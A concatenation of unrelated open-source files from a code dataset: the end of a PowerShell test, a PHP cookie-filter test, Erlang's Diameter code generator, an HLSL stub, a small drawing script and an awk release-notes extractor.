$pwsh.Streams.Error[1].Exception.Message | Should -BeExactly 'test-3-clean-exception'
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'test-2-clean'
$pwsh.Streams.Warning[0].Message | Should -BeExactly 'output'
}
}
| PowerShell | 5 | rdtechie/PowerShell | test/powershell/Language/Scripting/CleanBlockErrorHandling.Tests.ps1 | [
"MIT"
] |
--TEST--
COOKIE multiple cookie test
--EXTENSIONS--
filter
--INI--
filter.default=stripped
filter.default_flags=0
error_reporting=E_ALL&~E_DEPRECATED
--COOKIE--
abc=dir; def=true; abc=root; xyz="foo bar";
--FILE--
<?php
var_dump($_COOKIE);
var_dump(filter_has_var(INPUT_COOKIE, "abc"));
var_dump(filter_input(INPUT_COOKIE, "abc"));
var_dump(filter_input(INPUT_COOKIE, "def"));
var_dump(filter_input(INPUT_COOKIE, "xyz"));
var_dump(filter_has_var(INPUT_COOKIE, "bogus"));
var_dump(filter_input(INPUT_COOKIE, "xyz", FILTER_SANITIZE_SPECIAL_CHARS));
?>
--EXPECT--
array(3) {
["abc"]=>
string(3) "dir"
["def"]=>
string(4) "true"
["xyz"]=>
string(17) ""foo bar""
}
bool(true)
string(3) "dir"
string(4) "true"
string(9) ""foo bar""
bool(false)
string(17) ""foo bar""
| PHP | 4 | NathanFreeman/php-src | ext/filter/tests/041.phpt | [
"PHP-3.01"
] |
%%
%% %CopyrightBegin%
%%
%% Copyright Ericsson AB 2010-2020. All Rights Reserved.
%%
%% Licensed under the Apache License, Version 2.0 (the "License");
%% you may not use this file except in compliance with the License.
%% You may obtain a copy of the License at
%%
%% http://www.apache.org/licenses/LICENSE-2.0
%%
%% Unless required by applicable law or agreed to in writing, software
%% distributed under the License is distributed on an "AS IS" BASIS,
%% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
%% See the License for the specific language governing permissions and
%% limitations under the License.
%%
%% %CopyrightEnd%
%%
-module(diameter_codegen).
%%
%% This module generates erl/hrl files for encode/decode modules from
%% the orddict parsed from a dictionary file by diameter_dict_util.
%% The generated code is simple (one-liners), and is called from
%% diameter_gen. The orddict itself is returned by dict/0 in the
%% generated module and diameter_dict_util calls this function when
%% importing dictionaries as a consequence of @inherits sections. That
%% is, @inherits introduces a dependency on the beam file of another
%% dictionary.
%%
-export([from_dict/4,
is_printable_ascii/1]). %% used by ?TERM/1 in diameter_forms.hrl
-include("diameter_forms.hrl").
-include("diameter_vsn.hrl").
-define(S, atom_to_list).
-define(A, list_to_atom).
-define(Atom(T), ?ATOM(?A(T))).
%% ===========================================================================
-spec from_dict(File, ParseD, Opts, Mode)
-> ok
| term()
when File :: string(),
ParseD :: orddict:orddict(),
Opts :: list(),
Mode :: parse | forms | erl | hrl.
from_dict(File, ParseD, Opts, Mode) ->
Outdir = proplists:get_value(outdir, Opts, "."),
Return = proplists:get_value(return, Opts, false),
Mod = mod(File, orddict:find(name, ParseD)),
putr(verbose, lists:member(verbose, Opts)),
try
maybe_write(Return, Mode, Outdir, Mod, gen(Mode, ParseD, ?A(Mod)))
after
eraser(verbose)
end.
mod(File, error) ->
filename:rootname(filename:basename(File));
mod(_, {ok, Mod}) ->
Mod.
maybe_write(true, _, _, _, T) ->
T;
maybe_write(_, Mode, Outdir, Mod, T) ->
Path = filename:join(Outdir, Mod), %% minus extension
do_write(Mode, [Path, $., ext(Mode)], T).
ext(parse) ->
"D";
ext(forms) ->
"F";
ext(T) ->
?S(T).
do_write(M, Path, T)
when M == parse;
M == forms ->
write_term(Path, T);
do_write(_, Path, T) ->
write(Path, T).
write(Path, T) ->
write(Path, "~s", T).
write_term(Path, T) ->
write(Path, "~p.~n", T).
write(Path, Fmt, T) ->
{ok, Fd} = file:open(Path, [write]),
io:fwrite(Fd, Fmt, [T]),
ok = file:close(Fd).
%% Optional reports when running verbosely.
report(What, Data) ->
report(getr(verbose), What, Data),
Data.
report(true, Tag, Data) ->
io:format(">>~n>> ~p ~p~n", [Tag, Data]);
report(false, _, _) ->
ok.
putr(Key, Value) ->
put({?MODULE, Key}, Value).
getr(Key) ->
get({?MODULE, Key}).
eraser(Key) ->
erase({?MODULE, Key}).
%% ===========================================================================
%% ===========================================================================
is_printable_ascii(C) ->
16#20 =< C andalso C =< 16#7F.
get_value(Key, Plist) ->
proplists:get_value(Key, Plist, []).
gen(parse, ParseD, _Mod) ->
[?VERSION | ParseD];
gen(forms, ParseD, Mod) ->
preprocess(Mod, erl_forms(Mod, ParseD));
gen(hrl, ParseD, Mod) ->
gen_hrl(Mod, ParseD);
gen(erl, ParseD, Mod) ->
[header(), prettypr(erl_forms(Mod, ParseD)), $\n].
erl_forms(Mod, ParseD) ->
Forms = [[{?attribute, module, Mod},
{?attribute, compile, {parse_transform, diameter_exprecs}},
{?attribute, compile, nowarn_unused_function},
{?attribute, dialyzer, no_return}],
make_hrl_forms(ParseD),
[{?attribute, export, [{name, 0},
{id, 0},
{vendor_id, 0},
{vendor_name, 0},
{decode_avps, 3}, %% in diameter_gen.hrl
{encode_avps, 3}, %%
{grouped_avp, 4}, %%
{msg_name, 2},
{msg_header, 1},
{rec2msg, 1},
{msg2rec, 1},
{name2rec, 1},
{avp_name, 2},
{avp_arity, 1},
{avp_arity, 2},
{avp_header, 1},
{avp, 4},
{enumerated_avp, 3},
{empty_value, 2},
{dict, 0}]},
%% diameter.hrl is included for #diameter_avp
{?attribute, include_lib, "diameter/include/diameter.hrl"},
{?attribute, include_lib, "diameter/include/diameter_gen.hrl"},
f_name(Mod),
f_id(ParseD),
f_vendor_id(ParseD),
f_vendor_name(ParseD),
f_msg_name(ParseD),
f_msg_header(ParseD),
f_rec2msg(ParseD),
f_msg2rec(ParseD),
f_name2rec(ParseD),
f_avp_name(ParseD),
f_avp_arity_1(ParseD),
f_avp_arity_2(ParseD),
f_avp_header(ParseD),
f_avp(ParseD),
f_enumerated_avp(ParseD),
f_empty_value(ParseD),
f_dict(ParseD),
{eof, ?LINE}]],
lists:append(Forms).
make_hrl_forms(ParseD) ->
{_Prefix, MsgRecs, GrpRecs, ImportedGrpRecs}
= make_record_forms(ParseD),
RecordForms = MsgRecs ++ GrpRecs ++ lists:flatmap(fun({_,Fs}) -> Fs end,
ImportedGrpRecs),
RecNames = lists:map(fun({attribute,_,record,{N,_}}) -> N end,
RecordForms),
%% export_records is used by the diameter_exprecs parse transform.
[{?attribute, export_records, RecNames} | RecordForms].
make_record_forms(ParseD) ->
Prefix = prefix(ParseD),
MsgRecs = a_record(Prefix, fun msg_proj/1, get_value(messages, ParseD)),
GrpRecs = a_record(Prefix, fun grp_proj/1, get_value(grouped, ParseD)),
ImportedGrpRecs = [{M, a_record(Prefix, fun grp_proj/1, Gs)}
|| {M,Gs} <- get_value(import_groups, ParseD)],
{to_upper(Prefix), MsgRecs, GrpRecs, ImportedGrpRecs}.
msg_proj({Name, _, _, _, Avps}) ->
{Name, Avps}.
grp_proj({Name, _, _, Avps}) ->
{Name, Avps}.
%% a_record/3
a_record(Prefix, ProjF, L) ->
lists:map(fun(T) -> a_record(ProjF(T), Prefix) end, L).
a_record({Nm, Avps}, Prefix) ->
Name = list_to_atom(Prefix ++ Nm),
Fields = lists:map(fun field/1, Avps),
{?attribute, record, {Name, Fields}}.
field(Avp) ->
{Name, Arity} = avp_info(Avp),
if 1 == Arity ->
{?record_field, ?Atom(Name)};
true ->
{?record_field, ?Atom(Name), ?NIL}
end.
%%% ------------------------------------------------------------------------
%%% # name/0
%%% ------------------------------------------------------------------------
f_name(Name) ->
{?function, name, 0,
[{?clause, [], [], [?ATOM(Name)]}]}.
%%% ------------------------------------------------------------------------
%%% # id/0
%%% ------------------------------------------------------------------------
f_id(ParseD) ->
{?function, id, 0,
[c_id(orddict:find(id, ParseD))]}.
c_id({ok, Id}) ->
{?clause, [], [], [?INTEGER(Id)]};
c_id(error) ->
?BADARG(0).
%%% ------------------------------------------------------------------------
%%% # vendor_id/0
%%% ------------------------------------------------------------------------
f_vendor_id(ParseD) ->
{?function, vendor_id, 0,
[{?clause, [], [], [b_vendor_id(orddict:find(vendor, ParseD))]}]}.
b_vendor_id({ok, {Id, _}}) ->
?INTEGER(Id);
b_vendor_id(error) ->
?APPLY(erlang, error, [?TERM(undefined)]).
%%% ------------------------------------------------------------------------
%%% # vendor_name/0
%%% ------------------------------------------------------------------------
f_vendor_name(ParseD) ->
{?function, vendor_name, 0,
[{?clause, [], [], [b_vendor_name(orddict:find(vendor, ParseD))]}]}.
b_vendor_name({ok, {_, Name}}) ->
?Atom(Name);
b_vendor_name(error) ->
?APPLY(erlang, error, [?TERM(undefined)]).
%%% ------------------------------------------------------------------------
%%% # msg_name/1
%%% ------------------------------------------------------------------------
f_msg_name(ParseD) ->
{?function, msg_name, 2, msg_name(ParseD)}.
%% Return the empty name for any unknown command to which
%% DIAMETER_COMMAND_UNSUPPORTED should be replied.
msg_name(ParseD) ->
lists:flatmap(fun c_msg_name/1, proplists:get_value(command_codes,
ParseD,
[]))
++ [{?clause, [?VAR('_'), ?VAR('_')], [], [?ATOM('')]}].
c_msg_name({Code, Req, Ans}) ->
[{?clause, [?INTEGER(Code), ?ATOM(true)],
[],
[?Atom(Req)]},
{?clause, [?INTEGER(Code), ?ATOM(false)],
[],
[?Atom(Ans)]}].
%%% ------------------------------------------------------------------------
%%% # msg2rec/1
%%% ------------------------------------------------------------------------
f_msg2rec(ParseD) ->
{?function, msg2rec, 1, msg2rec(ParseD)}.
msg2rec(ParseD) ->
Pre = prefix(ParseD),
lists:map(fun(T) -> c_msg2rec(T, Pre) end, get_value(messages, ParseD))
++ [?BADARG(1)].
c_msg2rec({N,_,_,_,_}, Pre) ->
c_name2rec(N, Pre).
%%% ------------------------------------------------------------------------
%%% # rec2msg/1
%%% ------------------------------------------------------------------------
f_rec2msg(ParseD) ->
{?function, rec2msg, 1, rec2msg(ParseD)}.
rec2msg(ParseD) ->
Pre = prefix(ParseD),
lists:map(fun(T) -> c_rec2msg(T, Pre) end, get_value(messages, ParseD))
++ [?BADARG(1)].
c_rec2msg({N,_,_,_,_}, Pre) ->
{?clause, [?Atom(rec_name(N, Pre))], [], [?Atom(N)]}.
%%% ------------------------------------------------------------------------
%%% # name2rec/1
%%% ------------------------------------------------------------------------
f_name2rec(ParseD) ->
{?function, name2rec, 1, name2rec(ParseD)}.
name2rec(ParseD) ->
Pre = prefix(ParseD),
Groups = get_value(grouped, ParseD)
++ lists:flatmap(fun avps/1, get_value(import_groups, ParseD)),
lists:map(fun({N,_,_,_}) -> c_name2rec(N, Pre) end, Groups)
++ [{?clause, [?VAR('T')], [], [?CALL(msg2rec, [?VAR('T')])]}].
c_name2rec(Name, Pre) ->
{?clause, [?Atom(Name)], [], [?Atom(rec_name(Name, Pre))]}.
avps({_Mod, Avps}) ->
Avps.
%%% ------------------------------------------------------------------------
%%% # avp_name/1
%%% ------------------------------------------------------------------------
f_avp_name(ParseD) ->
{?function, avp_name, 2, avp_name(ParseD)}.
%% 3588, 4.1:
%%
%% AVP Code
%% The AVP Code, combined with the Vendor-Id field, identifies the
%% attribute uniquely. AVP numbers 1 through 255 are reserved for
%% backward compatibility with RADIUS, without setting the Vendor-Id
%% field. AVP numbers 256 and above are used for Diameter, which are
%% allocated by IANA (see Section 11.1).
avp_name(ParseD) ->
Avps = get_value(avp_types, ParseD),
Imported = get_value(import_avps, ParseD),
Vid = orddict:find(vendor, ParseD),
Vs = vendor_id_map(ParseD),
lists:map(fun(T) -> c_avp_name(T, Vs, Vid) end, Avps)
++ lists:flatmap(fun(T) -> c_imported_avp_name(T, Vs) end, Imported)
++ [{?clause, [?VAR('_'), ?VAR('_')], [], [?ATOM('AVP')]}].
c_avp_name({Name, Code, Type, Flags}, Vs, Vid) ->
c_avp_name_(?TERM({?A(Name), ?A(Type)}),
?INTEGER(Code),
vid(Name, Flags, Vs, Vid)).
%% Note that an imported AVP's vendor id is determined by
%% avp_vendor_id in the inheriting module and vendor in the inherited
%% module. In particular, avp_vendor_id in the inherited module is
%% ignored so can't just call Mod:avp_header/1 to retrieve the vendor
%% id. A vendor id specified in @grouped is equivalent to one
%% specified as avp_vendor_id.
c_imported_avp_name({Mod, Avps}, Vs) ->
lists:map(fun(A) -> c_avp_name(A, Vs, {module, Mod}) end, Avps).
c_avp_name_(T, Code, undefined = U) ->
{?clause, [Code, ?ATOM(U)],
[],
[T]};
c_avp_name_(T, Code, Vid) ->
{?clause, [Code, ?INTEGER(Vid)],
[],
[T]}.
vendor_id_map(ParseD) ->
lists:flatmap(fun({V,Ns}) -> [{N,V} || N <- Ns] end,
get_value(avp_vendor_id, ParseD))
++ lists:flatmap(fun({_,_,[],_}) -> [];
({N,_,[V],_}) -> [{N,V}]
end,
get_value(grouped, ParseD)).
%%% ------------------------------------------------------------------------
%%% # avp_arity/1
%%% ------------------------------------------------------------------------
f_avp_arity_1(ParseD) ->
{?function, avp_arity, 1, avp_arities(ParseD) ++ [?BADARG(1)]}.
avp_arities(ParseD) ->
Msgs = get_value(messages, ParseD),
Groups = get_value(grouped, ParseD)
++ lists:flatmap(fun avps/1, get_value(import_groups, ParseD)),
lists:map(fun c_avp_arities/1, Msgs ++ Groups).
c_avp_arities({N,_,_,_,As}) ->
c_avp_arities(N,As);
c_avp_arities({N,_,_,As}) ->
c_avp_arities(N,As).
c_avp_arities(Name, Avps) ->
Arities = [{?A(N), A} || T <- Avps, {N,A} <- [avp_info(T)]],
{?clause, [?Atom(Name)], [], [?TERM(Arities)]}.
%%% ------------------------------------------------------------------------
%%% # avp_arity/2
%%% ------------------------------------------------------------------------
f_avp_arity_2(ParseD) ->
{?function, avp_arity, 2, avp_arity(ParseD)}.
avp_arity(ParseD) ->
Msgs = get_value(messages, ParseD),
Groups = get_value(grouped, ParseD)
++ lists:flatmap(fun avps/1, get_value(import_groups, ParseD)),
c_avp_arity(Msgs ++ Groups)
++ [{?clause, [?VAR('_'), ?VAR('_')], [], [?INTEGER(0)]}].
c_avp_arity(L)
when is_list(L) ->
lists:flatmap(fun c_avp_arity/1, L);
c_avp_arity({N,_,_,_,As}) ->
c_avp_arity(N,As);
c_avp_arity({N,_,_,As}) ->
c_avp_arity(N,As).
c_avp_arity(Name, Avps) ->
lists:map(fun(A) -> c_arity(Name, A) end, Avps).
c_arity(Name, Avp) ->
{AvpName, Arity} = avp_info(Avp),
{?clause, [?Atom(Name), ?Atom(AvpName)], [], [?TERM(Arity)]}.
%%% ------------------------------------------------------------------------
%%% # avp/3
%%% ------------------------------------------------------------------------
f_avp(ParseD) ->
{?function, avp, 4, avp(ParseD) ++ [?BADARG(4)]}.
avp(ParseD) ->
Native = get_value(avp_types, ParseD),
CustomMods = get_value(custom_types, ParseD),
TypeMods = get_value(codecs, ParseD),
Imported = get_value(import_avps, ParseD),
Enums = get_value(enum, ParseD),
Custom = lists:map(fun({M,As}) -> {M, custom_types, As} end,
CustomMods)
++ lists:map(fun({M,As}) -> {M, codecs, As} end,
TypeMods),
avp(types(Native), Imported, Custom, Enums).
types(Avps) ->
lists:map(fun({N,_,T,_}) -> {N,T} end, Avps).
avp(Native, Imported, Custom, Enums) ->
report(native, Native),
report(imported, Imported),
report(custom, Custom),
TypeDict = lists:foldl(fun({N,_,T,_}, D) -> orddict:store(N,T,D) end,
orddict:from_list(Native),
lists:flatmap(fun avps/1, Imported)),
CustomNames = lists:flatmap(fun({_,_,Ns}) -> Ns end, Custom),
lists:map(fun c_base_avp/1,
lists:filter(fun({N,_}) -> not_in(CustomNames, N) end,
Native))
++ lists:flatmap(fun(I) -> cs_imported_avp(I, Enums, CustomNames) end,
Imported)
++ lists:flatmap(fun(C) -> cs_custom_avp(C, TypeDict) end, Custom).
not_in(List, X) ->
not lists:member(X, List).
c_base_avp({AvpName, "Enumerated"}) ->
{?clause, [?VAR('T'), ?VAR('Data'), ?Atom(AvpName), ?VAR('_')],
[],
[?CALL(enumerated_avp, [?VAR('T'), ?Atom(AvpName), ?VAR('Data')])]};
c_base_avp({AvpName, "Grouped"}) ->
{?clause, [?VAR('T'), ?VAR('Data'), ?Atom(AvpName), ?VAR('Opts')],
[],
[?CALL(grouped_avp, [?VAR('T'),
?Atom(AvpName),
?VAR('Data'),
?VAR('Opts')])]};
c_base_avp({AvpName, Type}) ->
{?clause, [?VAR('T'), ?VAR('Data'), ?Atom(AvpName), ?VAR('Opts')],
[],
[?APPLY(diameter_types, ?A(Type), [?VAR('T'),
?VAR('Data'),
?VAR('Opts')])]}.
cs_imported_avp({Mod, Avps}, Enums, CustomNames) ->
lists:map(fun(A) -> imported_avp(Mod, A, Enums) end,
lists:filter(fun({N,_,_,_}) -> not_in(CustomNames, N) end,
Avps)).
imported_avp(_Mod, {AvpName, _, "Grouped" = T, _}, _) ->
c_base_avp({AvpName, T});
imported_avp(Mod, {AvpName, _, "Enumerated" = T, _}, Enums) ->
case lists:keymember(AvpName, 1, Enums) of
true ->
c_base_avp({AvpName, T});
false ->
c_imported_avp(Mod, AvpName)
end;
imported_avp(Mod, {AvpName, _, _, _}, _) ->
c_imported_avp(Mod, AvpName).
c_imported_avp(Mod, AvpName) ->
{?clause, [?VAR('T'), ?VAR('Data'), ?Atom(AvpName), ?VAR('Opts')],
[],
[?CALL(avp, [?VAR('T'),
?VAR('Data'),
?Atom(AvpName),
?VAR('Opts'),
?ATOM(Mod)])]}.
cs_custom_avp({Mod, Key, Avps}, Dict) ->
lists:map(fun(N) -> c_custom_avp(Mod, Key, N, orddict:fetch(N, Dict)) end,
Avps).
c_custom_avp(Mod, Key, AvpName, Type) ->
{F,A} = custom(Key, AvpName, Type),
{?clause, [?VAR('T'), ?VAR('Data'), ?Atom(AvpName), ?VAR('Opts')],
[],
[?APPLY(?A(Mod), ?A(F), [?VAR('T'),
?Atom(A),
?VAR('Data'),
?VAR('Opts')])]}.
custom(custom_types, AvpName, Type) ->
{AvpName, Type};
custom(codecs, AvpName, Type) ->
{Type, AvpName}.
%%% ------------------------------------------------------------------------
%%% # enumerated_avp/3
%%% ------------------------------------------------------------------------
f_enumerated_avp(ParseD) ->
{?function, enumerated_avp, 3, enumerated_avp(ParseD) ++ [?BADARG(3)]}.
enumerated_avp(ParseD) ->
Enums = get_value(enum, ParseD),
lists:flatmap(fun cs_enumerated_avp/1, Enums)
++ lists:flatmap(fun({M,Es}) -> enumerated_avp(M, Es, Enums) end,
get_value(import_enums, ParseD)).
enumerated_avp(Mod, Es, Enums) ->
lists:flatmap(fun({N,_}) ->
cs_enumerated_avp(lists:keymember(N, 1, Enums),
Mod,
N)
end,
Es).
cs_enumerated_avp(true, Mod, Name) ->
[{?clause, [?VAR('T'), ?Atom(Name), ?VAR('Data')],
[],
[?APPLY(Mod, enumerated_avp, [?VAR('T'),
?Atom(Name),
?VAR('Data')])]}];
cs_enumerated_avp(false, _, _) ->
[].
cs_enumerated_avp({AvpName, Values}) ->
lists:flatmap(fun(V) -> c_enumerated_avp(AvpName, V) end, Values).
c_enumerated_avp(AvpName, {_,I}) ->
[{?clause, [?ATOM(decode), ?Atom(AvpName), ?TERM(<<I:32>>)],
[],
[?TERM(I)]},
{?clause, [?ATOM(encode), ?Atom(AvpName), ?INTEGER(I)],
[],
[?TERM(<<I:32>>)]}].
%%% ------------------------------------------------------------------------
%%% msg_header/1
%%% ------------------------------------------------------------------------
f_msg_header(ParseD) ->
{?function, msg_header, 1, msg_header(ParseD) ++ [?BADARG(1)]}.
msg_header(ParseD) ->
msg_header(get_value(messages, ParseD), ParseD).
msg_header([], _) ->
[];
msg_header(Msgs, ParseD) ->
ApplId = orddict:fetch(id, ParseD),
lists:map(fun({M,C,F,_,_}) -> c_msg_header(M, C, F, ApplId) end, Msgs).
%% Note that any application id in the message header spec is ignored.
c_msg_header(Name, Code, Flags, ApplId) ->
{?clause, [?Atom(Name)],
[],
[?TERM({Code, encode_msg_flags(Flags), ApplId})]}.
encode_msg_flags(Flags) ->
lists:foldl(fun emf/2, 0, Flags).
emf('REQ', N) -> N bor 2#10000000;
emf('PXY', N) -> N bor 2#01000000;
emf('ERR', N) -> N bor 2#00100000.
%%% ------------------------------------------------------------------------
%%% # avp_header/1
%%% ------------------------------------------------------------------------
f_avp_header(ParseD) ->
{?function, avp_header, 1, avp_header(ParseD) ++ [?BADARG(1)]}.
avp_header(ParseD) ->
Native = get_value(avp_types, ParseD),
Imported = get_value(import_avps, ParseD),
Vid = orddict:find(vendor, ParseD),
Vs = vendor_id_map(ParseD),
lists:flatmap(fun(A) -> c_avp_header(A, Vs, Vid) end,
Native ++ Imported).
c_avp_header({Name, Code, _Type, Flags}, Vs, Vid) ->
[{?clause, [?Atom(Name)],
[],
[?TERM({Code, encode_avp_flags(Flags), vid(Name, Flags, Vs, Vid)})]}];
c_avp_header({Mod, Avps}, Vs, _Vid) ->
lists:map(fun(A) -> c_imported_avp_header(A, Mod, Vs) end, Avps).
%% Note that avp_vendor_id in the inherited dictionary is ignored. The
%% value must be changed in the inheriting dictionary. This is
%% consistent with the semantics of avp_name/2.
c_imported_avp_header({Name, _Code, _Type, _Flags}, Mod, Vs) ->
Apply = ?APPLY(Mod, avp_header, [?Atom(Name)]),
{?clause, [?Atom(Name)],
[],
[case proplists:get_value(Name, Vs) of
undefined ->
Apply;
Vid ->
?CALL(setelement, [?INTEGER(3), Apply, ?INTEGER(Vid)])
end]}.
encode_avp_flags(Fs) ->
lists:foldl(fun eaf/2, 0, Fs).
eaf($V, F) -> 2#10000000 bor F;
eaf($M, F) -> 2#01000000 bor F;
eaf($P, F) -> 2#00100000 bor F.
vid(Name, Flags, Vs, Vid) ->
v(lists:member($V, Flags), Name, Vs, Vid).
v(true = T, Name, Vs, {module, Mod}) ->
v(T, Name, Vs, {ok, {Mod:vendor_id(), Mod:vendor_name()}});
v(true, Name, Vs, Vid) ->
case proplists:get_value(Name, Vs) of
undefined ->
{ok, {Id, _}} = Vid,
Id;
Id ->
Id
end;
v(false, _, _, _) ->
undefined.
%%% ------------------------------------------------------------------------
%%% # empty_value/0
%%% ------------------------------------------------------------------------
f_empty_value(ParseD) ->
{?function, empty_value, 2, empty_value(ParseD)}.
empty_value(ParseD) ->
Imported = lists:flatmap(fun avps/1, get_value(import_enums, ParseD)),
Groups = get_value(grouped, ParseD)
++ lists:flatmap(fun avps/1, get_value(import_groups, ParseD)),
Enums = [T || {N,_} = T <- get_value(enum, ParseD),
not lists:keymember(N, 1, Imported)]
++ Imported,
lists:map(fun c_empty_value/1, Groups ++ Enums)
++ [{?clause, [?VAR('Name'), ?VAR('Opts')],
[],
[?CALL(empty, [?VAR('Name'), ?VAR('Opts')])]}].
c_empty_value({Name, _, _, _}) ->
{?clause, [?Atom(Name), ?VAR('Opts')],
[],
[?CALL(empty_group, [?Atom(Name), ?VAR('Opts')])]};
c_empty_value({Name, _}) ->
{?clause, [?Atom(Name), ?VAR('_')],
[],
[?TERM(<<0:32>>)]}.
%%% ------------------------------------------------------------------------
%%% # dict/0
%%% ------------------------------------------------------------------------
f_dict(ParseD) ->
{?function, dict, 0,
[{?clause, [], [], [?TERM([?VERSION | ParseD])]}]}.
%%% ------------------------------------------------------------------------
%%% # gen_hrl/2
%%% ------------------------------------------------------------------------
gen_hrl(Mod, ParseD) ->
{Prefix, MsgRecs, GrpRecs, ImportedGrpRecs}
= make_record_forms(ParseD),
[hrl_header(Mod),
forms("Message records", MsgRecs),
forms("Grouped AVP records", GrpRecs),
lists:map(fun({M,Fs}) ->
forms("Grouped AVP records from " ++ atom_to_list(M),
Fs)
end,
ImportedGrpRecs),
format("ENUM Macros", m_enums(Prefix, false, get_value(enum, ParseD))),
format("DEFINE Macros", m_enums(Prefix, false, get_value(define, ParseD))),
lists:map(fun({M,Es}) ->
format("ENUM Macros from " ++ atom_to_list(M),
m_enums(Prefix, true, Es))
end,
get_value(import_enums, ParseD))].
forms(_, [] = No) ->
No;
forms(Banner, Forms) ->
format(Banner, prettypr(Forms)).
format(_, [] = No) ->
No;
format(Banner, Str) ->
[banner(Banner), Str, $\n].
prettypr(Forms) ->
erl_prettypr:format(erl_syntax:form_list(Forms)).
banner(Heading) ->
["\n\n"
"%%% -------------------------------------------------------\n"
"%%% ", Heading, ":\n"
"%%% -------------------------------------------------------\n\n"].
z(S) ->
string:join(string:tokens(S, "\s\t"), "\s").
m_enums(Prefix, Wrap, Enums) ->
lists:map(fun(T) -> m_enum(Prefix, Wrap, T) end, Enums).
m_enum(Prefix, B, {Name, Values}) ->
P = Prefix ++ to_upper(Name) ++ "_",
lists:map(fun({A,I}) ->
N = ["'", P, to_upper(z(A)), "'"],
wrap(B,
N,
["-define(", N, ", ", integer_to_list(I), ").\n"])
end,
Values).
wrap(true, Name, Def) ->
["-ifndef(", Name, ").\n", Def, "-endif.\n"];
wrap(false, _, Def) ->
Def.
to_upper(A) when is_atom(A) ->
to_upper(atom_to_list(A));
to_upper(S) ->
lists:map(fun tu/1, S).
tu(C) when C >= $a, C =< $z ->
C + $A - $a;
tu(C) ->
C.
header() ->
("%% -------------------------------------------------------------------\n"
"%% This is a generated file.\n"
"%% -------------------------------------------------------------------\n"
"\n").
hrl_header(Name) ->
header() ++ "-hrl_name('" ++ ?S(Name) ++ ".hrl').\n".
%% avp_info/1
avp_info(Entry) -> %% {Name, Arity}
case Entry of
{{A}} -> {A, 1};
{A} -> {A, 1};
[A] -> {A, {0,1}};
{Q,T} ->
{A,_} = avp_info(T),
{A, arity(T,Q)}
end.
%% Normalize arity to 1 or {N,X} where N is an integer. A record field
%% for an AVP is list-valued iff the normalized arity is not 1.
arity({{_}}, '*' = Inf) -> {0, Inf};
arity([_], '*' = Inf) -> {0, Inf};
arity({_}, '*' = Inf) -> {1, Inf};
arity(_, {_,_} = Q) -> Q.
prefix(ParseD) ->
case orddict:find(prefix, ParseD) of
{ok, P} ->
P ++ "_";
error ->
""
end.
rec_name(Name, Prefix) ->
Prefix ++ Name.
%% ===========================================================================
%% preprocess/2
%%
%% Preprocess forms as generated by 'forms' option. In particular,
%% replace the include_lib attributes in generated forms by the
%% corresponding forms, extracting the latter from an existing
%% dictionary (diameter_gen_relay). The resulting forms can be
%% compiled to beam using compile:forms/2 (which does no preprocessing
%% of it's own; DiY currently appears to be the only way to preprocess
%% a forms list).
preprocess(Mod, Forms) ->
{_, Beam, _} = code:get_object_code(diameter_gen_relay),
pp(Forms, remod(Mod, abstract_code(Beam))).
pp(Forms, {ok, Code}) ->
Files = files(Code, []),
lists:flatmap(fun(T) -> include(T, Files) end, Forms);
pp(Forms, {error, Reason}) ->
erlang:error({forms, Reason, Forms}).
%% Replace literal diameter_gen_relay atoms in the extracted forms.
%% ?MODULE for example.
remod(Mod, L)
when is_list(L) ->
[remod(Mod, T) || T <- L];
remod(Mod, {atom, _, diameter_gen_relay} = T) ->
setelement(3, T, Mod);
remod(Mod, T)
when is_tuple(T) ->
list_to_tuple(remod(Mod, tuple_to_list(T)));
remod(_, T) ->
T.
%% Replace include_lib by the corresponding forms.
include({attribute, _, include_lib, Path}, Files) ->
Inc = filename:basename(Path),
[{Inc, Forms}] = [T || {F, _} = T <- Files, F == Inc], %% expect one
lists:flatmap(fun filter/1, Forms);
include(T, _) ->
[T].
%% Extract abstract code.
abstract_code(Beam) ->
case beam_lib:chunks(Beam, [abstract_code]) of
{ok, {_Mod, [{abstract_code, {_Vsn, Code}}]}} ->
{ok, Code};
{ok, {_Mod, [{abstract_code, no_abstract_code = No}]}} ->
{error, No};
{error = E, beam_lib, Reason} ->
{E, Reason}
end.
%% Extract filename/forms pairs for included forms.
files([{attribute, _, file, {Path, _}} | T], Acc) ->
{Body, Rest} = lists:splitwith(fun({attribute, _, file, _}) -> false;
(_) -> true
end,
T),
files(Rest, [{filename:basename(Path), Body} | Acc]);
files([], Acc) ->
Acc.
%% Only retain record diameter_avp and functions not generated by
%% diameter_exprecs.
filter({attribute, _, record, {diameter_avp, _}} = T) ->
[T];
filter({function, _, Name, _, _} = T) ->
case ?S(Name) of
[$#|_] -> %% generated by diameter_exprecs
[];
_ ->
[T]
end;
filter(_) ->
[].
| Erlang | 5 | jjhoo/otp | lib/diameter/src/compiler/diameter_codegen.erl | [
"Apache-2.0"
] |
#define OBJECTSHADER_COMPILE_DS
#define OBJECTSHADER_LAYOUT_PREPASS_TEX
#define OBJECTSHADER_USE_NORMAL
#include "objectHF_tessellation.hlsli"
| HLSL | 1 | rohankumardubey/WickedEngine | WickedEngine/shaders/objectDS_prepass_alphatest.hlsl | [
"MIT"
] |
fill
palette $p
// 10 red
10 yellow
10 orange
end
scale 10
rotate 90,1,0,0
stroke 2
i: 0
do 10 times
i: i + 0.1
color lerp($p, i)
color pink
rotate FRAME / 100, 0,1,0
cone
end
| Cycript | 3 | danhett/cyril | bin/data/code/8.cy | [
"MIT"
] |
#! /usr/bin/env awk -f
BEGIN { on=0 ; skip=1 ; block=0 ; section=""}
/^[[:blank:]]*id:/ { relId = $NF }
/r[0-9]+: *{/ { on=1 ; next }
/^[[:blank:]]*}[[:blank:]]*$/ { if (on) {
print "[Full release notes on gitblit.com](http://gitblit.com/releases.html#" relId ")"
exit 0
}
}
on==1 && /^[[:blank:]]*[[:alnum:]]+:[[:blank:]]*(''|~)?$/ {
if (!block) {
skip=1
if (section == "fixes:" || section == "changes:" || section == "additions:") { printf "\n</details>\n"}
if (section != "") print ""
if (section == "note:") print "----------"
section = ""
if ($NF == "~") next
}
else {
printSection()
next
}
if ($NF == "''") {
block = !block
}
}
on==1 && /^[[:blank:]]*note:/ { skip=0 ; section=$1; print "### Update Note" ; printSingleLineSection() ; next }
on==1 && /^[[:blank:]]*text:/ { skip=0 ; section=$1; printf "\n\n"; printSingleLineSection() ; next }
on==1 && /^[[:blank:]]*security:/ { skip=0 ; section=$1; print "### *Security*" ; next }
